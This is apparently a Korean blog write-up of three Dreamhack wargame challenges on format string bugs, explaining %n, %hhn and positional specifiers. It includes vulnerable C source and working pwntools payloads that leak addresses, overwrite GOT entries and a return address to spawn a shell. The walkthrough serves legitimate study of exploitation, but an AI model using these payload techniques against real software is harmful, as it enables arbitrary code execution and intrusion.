[dreamhack] fsb, basic002, basic003

[dreamhack] fsb, basic002, basic003

2024년 7월 11일

개요 #

FSB (format string bug) #

printf 의 첫번째 인자처럼 특정 포매팅이 가능한 문자열을 포맷스트링이라고 부른다. 포맷스트링 안에서 %d, %s 등은 추가로 받는 가변인자에서 값을 읽어와 포맷스트링에 맞춰 출력하게 된다.

이 문자열의 포맷문자 수와 가변인자 수를 따로 검증하지 않기 때문에 사용자(공격자)의 입력이 포맷스트링으로 전달된다면 함수호출규약에 맞춰서 메모리의 릭과 변조를 유발시킬 수 있는 공격이라는 것도 잘 알고있을 것이다.

사용자의 입력이 포맷스트링으로 전달된다는건 말도 안되지만, 모든 취약점들은 항상 개발자의 실수나 무지에서 나온다는 것이다. BOF도 말이 안되잖슴


포맷스트링 #

포맷스트링에서 하나의 문자 포맷은 %[parameter][flags][width][.precision][length]type 이 형태로 입력받는다.

공격에서 중요한 부분은 width로 입력받은 너비만큼 패딩을 추가할 수 있다는 점과 %n으로는 현재까지 출력된 문자열의 길이를 저장할 수 있고, $를 붙여 원하는 인덱스의 파라미터를 포매팅에 선택할 수 있다는 점이다.

ex 1) printf("%1337c", c); 이렇게 입력했을때 총 1336개의 패딩과 1개의 문자(c)가 출력된다.

ex 2) printf("%1337c%n", c, &num); %c는 위와 동일하게 출력되고, 총 출력된 문자는 1337개이기 때문에 num 변수에는 1337이 저장된다.

ex 3) printf("%p %p %1$n", &num, p1); 조금 복잡하다. 첫번째 %p는 당연히 &num의 값을 포인터 형태로 출력하고, 두번째 %p는 p1의 값을 포인터 형태로 출력한다. %1$n 은 첫번째 인자를 %n 하겠다는 의미이기 때문에 출력된 문자의 수를 첫번째 인자인 num에 저장하게 된다.


fsb_overwrite #

정보수집 #

d1b4f3ea-c712-4809-8965-8adc286a08c3

모든 실행 주소가 매번 바뀌지만, 문자열의 입력과 출력이 무한루프 안에 있기 때문에 한번 실행에 공격을 계속해서 수행할 수 있다.

 1
 2#include <stdio.h>
 3#include <stdlib.h>
 4#include <unistd.h>
 5
 6void get_string(char *buf, size_t size) {
 7  ssize_t i = read(0, buf, size);
 8  if (i == -1) {
 9    perror("read");
10    exit(1);
11  }
12  if (i < size) {
13    if (i > 0 && buf[i - 1] == '\n') i--;
14    buf[i] = 0;
15  }
16}
17
18int changeme;
19
20int main() {
21  char buf[0x20];
22
23  setbuf(stdout, NULL);
24
25  while (1) {
26    get_string(buf, 0x20);
27    printf(buf);
28    puts("");
29    if (changeme == 1337) {
30      system("/bin/sh");
31    }
32  }
33}

공격 #

목표는 전역변수인 changeme의 값을 1337로 수정하는 것이다. changeme는 당연히 fsb_overwrite라는 프로그램 로드된 메모리주소에 있을 것이고, readelf로 오프셋을 확인할 수 있다.

0ef8c962-205e-4415-897a-469cfe8403d1

그럼 계속 변하는 프로그램의 base 주소를 알아야 하는데, 이 값의 해답은 스택에 있다.
printf를 사용하기 직전에 스택의 10번째 변수에는 프로그램 영역의 0x1293 offset에 해당하는 주소가 저장되어 있다.

ccb17b83-cdd9-4648-b39c-c5f7f3dbde0e

그럼 결국 스택의 10번째의 값을 가져와서 -0x1293 +elf.symbols['changeme'] 로 계산한 주소에 런타임의 changeme 변수가 존재하는 것이고, 결국 공격 코드를 작성하면 아래와 같이 나온다.

 1# 첫번째 공격에 15번째 파라미터 (=스택의 10번째) 주소를 가져온다.
 2# rdi(포맷스트링) rsi(1번째 파라미터) rdx rcx r8 r9 rsp+0 rsp+8 rsp+16 ...
 3p.sendline(b'%15$p')
 4msg = p.recvline()
 5
 6# 런타임 changeme 변수 주소 계산
 7cme_addr = int(msg[:-1], 16) - 0x1293 + elf.symbols['changeme']
 8print('Addr:', hex(cme_addr))
 9
10# 수정할 값만큼 출력한 후 %n으로 저장한다.
11# 어디에 저장할지 결정해야 하는데, printf의 포맷스트링은 buf에 저장되기 때문에
12# 공격자가 마음대로 쓸 수 있는 buf 변수 공간에 changeme 주소를 넣어두고
13# 그 위치를 %n의 인덱스로 지정하면 공격이 가능하다.
14# 레지스터 5개, 스택 3개 "%1337c%8", "$nAAAAAA", "cme_addr" 라서 8번째 인자를 선택했다.
15# %n은 그 메모리 주소를 참조해서 값을 넣기 때문에 변조할 주소를 넣으면 된다.
16p.sendline(b'%1337c%8$n'+b'A'*6+ p64(cme_addr))
17
18p.interactive()

printf는 결국 스택의 값을 파라미터로 전달하기 때문에 스택에 원하는 값을 입력할 수 있다면 %?$n의 형태로 인덱스를 조정해서 원하는 주소가 담긴 스택을 가리키게 할 수 있고, 너비 포맷으로 출력하는 문자열의 길이를 조절해서 결국 원하는 주소에 원하는 값을 넣을 수 있게 된다.


basic_exploitation_002 #

정보수집 #

38660bab-98f4-42a0-bd89-788d0d13332b

checksec을 해보면 PIE가 적용되어 있지 않기 때문에 fsb로 모든 메모리를 변조할 수 있다는 사실만 기억하면 이 문제는 아주 쉽다.

05f7f12d-8d65-4bba-850b-e1d5b294fbe5

main 함수는 0x80 크기의 버퍼에 입력을 받고, printf의 포맷스트링으로 전달한 후 exit 를 호출한다.
결국 BOF를 이용한 공격을 할 수는 없고, 메인의 리턴 어드레스를 조작하는것도 불가능하다. 하지만, exit의 got영역에 이동할 주소를 적어두면 될것이다.

678c1f07-947e-4afb-8359-bdfd28bf1728

직접 system 함수의 주소와 /bin/sh 문자열을 버퍼에 적고 그쪽으로 호출하게 해도 되겠지만 호출하기 쉽도록 get_shell이라는 함수가 프로그램 안에 포함되어 있다.


공격 #

PIE가 적용되지 않아서 exit의 got도 고정일 것이기 때문에 이 위치에 get_shell의 주소를 담으면 된다.
주소값이기 때문에 %c로 아주 많은 문자열을 출력해야하는데, %hn, %hhn을 이용하면 2byte, 1byte씩 값을 쓸 수 있기 때문에 적은 출력으로 공격할 수 있다.

%n의 특징 #

  • 앞에서 %n이 두번째 호출되더라도 앞에서 출력한 값들을 포함해서 저장한다.
  • hn, hhn은 타겟 주소의 정확히 2, 1 byte만 쓰기 때문에 나머지 바이트는 건들지 않는다.

페이로드 작성 #

일단 get_shell, exit_got 주소는 pwntools를 이용해서 쉽게 얻을 수 있다.
4byte인 got 주소에 get_shell 주소를 4번 나눠서 저장할 것이고, %n은 한번 출력했다고 초기화 하는게 아니기 때문에 값이 작은 메모리부터 써야한다.
0x08048609 이기 때문에 1 0 3 2 인덱스 순으로 저장할 것이다. 0x08048609는 실제 메모리에서 거꾸로 저장되기 때문에 09860408 이고, 2 3

그리고 원래는 문자열 buf의 주소, 첫번째인자, 두번째인자.. 순으로 스택에 쌓이겠지만, 파라미터가 없어서 call printf 직전 스택을 살펴보면 buf의 주소 이후 실제 스택의 버퍼가 노출된다.
그래서 첫번째인자는 버퍼의 주소지만, 이후 두번째 인자부터는 스택의 버퍼를 가리켜서 공격하기 매우 쉽다.

c117da1e-9b0e-45e8-9544-e75f025c588f

 1# total 0x04
 2payload =  b'%4c' + b'%12$hhn'
 3
 4# total 0x08
 5payload += b'%4c' + b'%13$hhn'
 6
 7# total 0x09
 8payload += b'%1c' + b'%14$hhn'
 9
10# total 0x86
11payload += b'%125c' + b'%15$hhn'
12
13# 인자를 쉽게 정리하기 위해 패딩으로 hhn의 인덱스를 두자리로 맞춘다
14# len(payload) == 42
15payload = payload.ljust(44, b'A')
16
17payload += p32(exit_addr + 2) + p32(exit_addr + 3) + p32(exit_addr + 0) + p32(exit_addr + 1)

basic_exploitation_003 #

정보수집 #

이전 문제와 동일하게, 웬만한 보안 기능이 없다.

897b26fa-4476-4c05-b094-8e8f5a2858a6

달라진 점은 메인의 코드에서 0x80만큼 힙영역에 메모리를 할당받고, read로 입력받은 후 sprintf로 스택에 출력하고, printf로 출력한다.
이번에는 sprintf에만 영향을 줄 수 있는 상황이지만, printf의 got를 사용하면 될 것 같다.

03199d32-752c-4117-a94e-447a157c55c1

공격 #

  • printf_got : 0x0804a010
  • get_shell : 0x08048669

이번엔 python으로 작성하고, 변조할 주소를 맨 앞으로 두면 인덱스의 계산이 필요하지 않다는걸 깨달았다…
대신 이렇게 하는 경우 0804는 덮어씌울 수 없는데, 앞에다가 주소를 놨기 때문에 이미 출력된 8byte로 인해 hhn으로 저장하는 값이 다르게 변한다.
하지만 이미 plt를 가리키고 있기 때문에 0804는 동일하다. 0, 1 인덱스만 덮어쓰면 된다. 0번째 인덱스를 덮어쓸때는 당연하게도 주소로 출력된 8byte를 빼서 0x61만 쓰면 된다.

1payload = p32(printf_got + 0)
2payload += p32(printf_got + 1)
3payload += b'%97c' + b'%1$hhn'
4payload += b'%29c' + b'%2$hhn'

그리고 hhn대신 hn을 사용해보려 했지만, sprintf에서 스택의 버퍼로 쓰려하는데, 너무 많은 값이 들어가서 세그먼테이션폴트가 발생한다. 이것만 주의하자.


공격2 #

다른 공격을 찾아봤다. sprintf의 포맷스트링으로 출력한 문자가 printf로 전달되면서 출력되는데, 이렇게되면 사실 sprintf에서는 무한대의 글자를 stack에 있는 버퍼로 넘길 수 있게되고, bof가 발생할 수 있다는 사실이다.

sprintf를 호출할때 보면 [ebp-0x98] 의 버퍼에 입력받은 포맷스트링의 출력결과를 전달하는 것을 볼 수 있다.

18fd71d1-ac57-4e0f-b559-b33dce071cf7

페이로드는 아래와 같이 간단하게 구성된다. 152(0x98) 만큼 쓰고, EBP 영역을 덮어쓰고 return address를 get_shell로 덮어쓴다.

1get_shell = e.symbols['get_shell']
2payload = b'%152c' + b'B'*4 + p32(get_shell)
comments powered by Disqus